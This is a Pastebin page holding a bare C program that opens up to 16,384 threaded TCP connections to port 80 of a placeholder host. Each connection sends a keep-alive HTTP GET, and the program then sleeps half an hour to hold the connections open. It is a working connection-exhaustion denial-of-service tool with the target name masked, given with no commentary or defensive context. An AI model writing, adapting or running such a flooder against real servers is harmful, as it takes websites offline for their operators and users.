Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netdb.h>
- #include <error.h>
- #include <pthread.h>
- #define SOCK_LIMIT 16384
- struct sockaddr_in addr;
- void establish_connection(int *sock)
- {
- char request[] = "GET / HTTP/1.1" "\r\n"
- "Host: xxxxxxxxxxxxxxx" "\r\n"
- "User-Agent: Internet Exploder/1.0 (Windows)" "\r\n"
- "Accept: text/html" "\r\n"
- "Connection: keep-alive" "\r\n"
- "\r\n";
- *sock = socket(AF_INET, SOCK_STREAM, 0);
- connect(*sock, (struct sockaddr*)&addr, sizeof(addr));
- send(*sock, request, sizeof(request), 0);
- }
- int main()
- {
- int socks[SOCK_LIMIT];
- pthread_t threads[SOCK_LIMIT];
- int i;
- struct hostent *host;
- struct in_addr **addr_list;
- if ((host = gethostbyname("XXXXXXXXXX")) == NULL) {
- perror("gethostbyname()");
- exit(1);
- }
- addr_list = (struct in_addr **) host->h_addr_list;
- if (addr_list[0] == NULL) {
- exit(1);
- }
- addr.sin_addr = *addr_list[0];
- addr.sin_family = AF_INET;
- addr.sin_port = htons(80);
- for (i = 0; i < SOCK_LIMIT; i++) {
- pthread_create(&threads[i], NULL, (void*(*)(void*))&establish_connection, (void*)&socks[i]);
- //establish_connection(&socks[i]);
- if (i % 100 == 0) {
- printf("Initiated %d connections\n", i);
- }
- }
- sleep(1800);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement